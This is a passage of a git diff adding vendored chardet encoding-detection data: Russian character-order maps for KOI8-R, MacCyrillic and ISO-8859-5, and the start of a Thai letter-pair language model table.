'(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '─' + 129: 192, # '│' + 130: 193, # '┌' + 131: 194, # '┐' + 132: 195, # '└' + 133: 196, # '┘' + 134: 197, # '├' + 135: 198, # '┤' + 136: 199, # '┬' + 137: 200, # '┴' + 138: 201, # '┼' + 139: 202, # '▀' + 140: 203, # '▄' + 141: 204, # '█' + 142: 205, # '▌' + 143: 206, # '▐' + 144: 207, # '░' + 145: 208, # '▒' + 146: 209, # '▓' + 147: 210, # '⌠' + 148: 211, # '■' + 149: 212, # '∙' + 150: 213, # '√' + 151: 214, # '≈' + 152: 215, # '≤' + 153: 216, # '≥' + 154: 217, # '\xa0' + 155: 218, # '⌡' + 156: 219, # '°' + 157: 220, # '²' + 158: 221, # '·' + 159: 222, # '÷' + 160: 223, # '═' + 161: 224, # '║' + 162: 225, # '╒' + 163: 68, # 'ё' + 164: 226, # '╓' + 165: 227, # '╔' + 166: 228, # '╕' + 167: 229, # '╖' + 168: 230, # '╗' + 169: 231, # '╘' + 170: 232, # '╙' + 171: 233, # '╚' + 172: 234, # '╛' + 173: 235, # '╜' + 174: 236, # '╝' + 175: 237, # '╞' + 176: 238, # '╟' + 177: 239, # '╠' + 178: 240, # '╡' + 179: 241, # 'Ё' + 180: 242, # '╢' + 181: 243, # '╣' + 182: 244, # '╤' + 183: 245, # '╥' + 184: 246, # '╦' + 185: 247, # '╧' + 186: 248, # '╨' + 187: 249, # '╩' + 188: 250, # '╪' + 189: 251, # '╫' + 190: 252, # '╬' + 191: 253, # '©' + 192: 27, # 'ю' + 193: 3, # 'а' + 194: 21, # 'б' + 195: 28, # 'ц' + 196: 13, # 'д' + 197: 2, # 'е' + 198: 39, # 'ф' + 199: 19, # 'г' + 200: 26, # 'х' + 201: 4, # 'и' + 202: 23, # 'й' + 203: 11, # 'к' + 204: 8, # 'л' + 205: 12, # 'м' + 206: 5, # 'н' + 207: 1, # 'о' + 208: 15, # 'п' + 209: 16, # 'я' + 210: 9, # 'р' + 211: 7, # 'с' + 212: 6, # 'т' + 213: 14, # 'у' + 214: 24, # 'ж' + 215: 10, # 'в' + 216: 17, # 'ь' + 217: 18, # 'ы' + 218: 20, # 'з' + 219: 25, # 'ш' + 220: 30, # 'э' + 221: 29, # 'щ' + 222: 22, # 'ч' + 223: 54, # 'ъ' + 224: 59, # 'Ю' + 225: 37, # 'А' + 226: 44, # 'Б' + 227: 58, # 'Ц' + 228: 41, # 'Д' + 229: 48, # 'Е' + 230: 53, # 'Ф' + 231: 46, # 'Г' + 232: 55, # 'Х' + 233: 42, # 'И' + 234: 60, # 'Й' + 235: 36, # 'К' + 236: 49, # 'Л' + 237: 38, # 'М' + 238: 31, # 'Н' + 239: 34, # 'О' + 240: 35, # 'П' + 241: 43, # 'Я' + 242: 45, # 'Р' + 243: 32, # 'С' + 244: 40, # 'Т' + 245: 52, # 'У' + 246: 56, # 'Ж' + 247: 33, # 'В' + 248: 61, # 'Ь' + 249: 62, # 'Ы' + 250: 51, # 'З' + 251: 57, # 'Ш' + 252: 47, # 'Э' + 253: 63, # 'Щ' + 254: 50, # 'Ч' + 255: 70, # 'Ъ' +} + +KOI8_R_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='KOI8-R', + language='Russian', + char_to_order_map=KOI8_R_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, # 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 191, # '†' + 161: 192, # '°' + 162: 193, # 'Ґ' + 163: 194, # '£' + 164: 195, # '§' + 165: 196, # '•' + 166: 197, # '¶' + 167: 198, # 'І' + 168: 199, # '®' + 169: 200, # '©' + 170: 201, # '™' + 171: 202, # 'Ђ' + 172: 203, # 'ђ' + 173: 204, # '≠' + 174: 205, # 'Ѓ' + 175: 206, # 'ѓ' + 176: 207, # '∞' + 177: 208, # '±' + 178: 209, # '≤' + 179: 210, # '≥' + 180: 211, # 'і' + 181: 212, # 'µ' + 182: 213, # 'ґ' + 183: 214, # 'Ј' + 184: 215, # 'Є' + 185: 216, # 'є' + 186: 217, # 'Ї' + 187: 218, # 'ї' + 188: 219, # 'Љ' + 189: 220, # 'љ' + 190: 221, # 'Њ' + 191: 222, # 'њ' + 192: 223, # 'ј' + 193: 224, # 'Ѕ' + 194: 225, # '¬' + 195: 226, # '√' + 196: 227, # 'ƒ' + 197: 228, # '≈' + 198: 229, # '∆' + 199: 230, # '«' + 200: 231, # '»' + 201: 232, # '…' + 202: 233, # '\xa0' + 203: 234, # 'Ћ' + 204: 235, # 'ћ' + 205: 236, # 'Ќ' + 206: 237, # 'ќ' + 207: 238, # 'ѕ' + 208: 239, # '–' + 209: 240, # '—' + 210: 241, # '“' + 211: 242, # '”' + 212: 243, # '‘' + 213: 244, # '’' + 214: 245, # '÷' + 215: 246, # '„' + 216: 247, # 'Ў' + 217: 248, # 'ў' + 218: 249, # 'Џ' + 219: 250, # 'џ' + 220: 251, # '№' + 221: 252, # 'Ё' + 222: 68, # 'ё' + 223: 16, # 'я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 255, # '€' +} + +MACCYRILLIC_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='MacCyrillic', + language='Russian', + char_to_order_map=MACCYRILLIC_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +ISO_8859_5_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # '\x80' + 129: 192, # '\x81' + 130: 193, # '\x82' + 131: 194, # '\x83' + 132: 195, # '\x84' + 133: 196, # '\x85' + 134: 197, # '\x86' + 135: 198, # '\x87' + 136: 199, # '\x88' + 137: 200, # '\x89' + 138: 201, # '\x8a' + 139: 202, # '\x8b' + 140: 203, # '\x8c' + 141: 204, # '\x8d' + 142: 205, # '\x8e' + 143: 206, # '\x8f' + 144: 207, # '\x90' + 145: 208, # '\x91' + 146: 209, # '\x92' + 147: 210, # '\x93' + 148: 211, # '\x94' + 149: 212, # '\x95' + 150: 213, # '\x96' + 151: 214, # '\x97' + 152: 215, # '\x98' + 153: 216, # '\x99' + 154: 217, # '\x9a' + 155: 218, # '\x9b' + 156: 219, # '\x9c' + 157: 220, # '\x9d' + 158: 221, # '\x9e' + 159: 222, # '\x9f' + 160: 223, # '\xa0' + 161: 224, # 'Ё' + 162: 225, # 'Ђ' + 163: 226, # 'Ѓ' + 164: 227, # 'Є' + 165: 228, # 'Ѕ' + 166: 229, # 'І' + 167: 230, # 'Ї' + 168: 231, # 'Ј' + 169: 232, # 'Љ' + 170: 233, # 'Њ' + 171: 234, # 'Ћ' + 172: 235, # 'Ќ' + 173: 236, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 37, # 'А' + 177: 44, # 'Б' + 178: 33, # 'В' + 179: 46, # 'Г' + 180: 41, # 'Д' + 181: 48, # 'Е' + 182: 56, # 'Ж' + 183: 51, # 'З' + 184: 42, # 'И' + 185: 60, # 'Й' + 186: 36, # 'К' + 187: 49, # 'Л' + 188: 38, # 'М' + 189: 31, # 'Н' + 190: 34, # 'О' + 191: 35, # 'П' + 192: 45, # 'Р' + 193: 32, # 'С' + 194: 40, # 'Т' + 195: 52, # 'У' + 196: 53, # 'Ф' + 197: 55, # 'Х' + 198: 58, # 'Ц' + 199: 50, # 'Ч' + 200: 57, # 'Ш' + 201: 63, # 'Щ' + 202: 70, # 'Ъ' + 203: 62, # 'Ы' + 204: 61, # 'Ь' + 205: 47, # 'Э' + 206: 59, # 'Ю' + 207: 43, # 'Я' + 208: 3, # 'а' + 209: 21, # 'б' + 210: 10, # 'в' + 211: 19, # 'г' + 212: 13, # 'д' + 213: 2, # 'е' + 214: 24, # 'ж' + 215: 20, # 'з' + 216: 4, # 'и' + 217: 23, # 'й' + 218: 11, # 'к' + 219: 8, # 'л' + 220: 12, # 'м' + 221: 5, # 'н' + 222: 1, # 'о' + 223: 15, # 'п' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # '№' + 241: 68, # 'ё' + 242: 240, # 'ђ' + 243: 241, # 'ѓ' + 244: 242, # 'є' + 245: 243, # 'ѕ' + 246: 244, # 'і' + 247: 245, # 'ї' + 248: 246, # 'ј' + 249: 247, # 'љ' + 250: 248, # 'њ' + 251: 249, # 'ћ' + 252: 250, # 'ќ' + 253: 251, # '§' + 254: 252, # 'ў' + 255: 255, # 'џ' +} + +ISO_8859_5_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Russian', + char_to_order_map=ISO_8859_5_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + diff --git a/src/thirdparty/chardet/langthaimodel.py b/src/thirdparty/chardet/langthaimodel.py new file mode 100644 index 0000000000..a1177a47d2 --- /dev/null +++ b/src/thirdparty/chardet/langthaimodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +THAI_LANG_MODEL = { + 5: { # 'ก' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 3, # 'ฎ' + 57: 2, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 1, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 30: { # 'ข' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 2, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 2, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 24: { # 'ค' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 2, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 3, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 8: { # 'ง' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 1, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 2, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 3, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 26: { # 'จ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 52: { # 'ฉ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 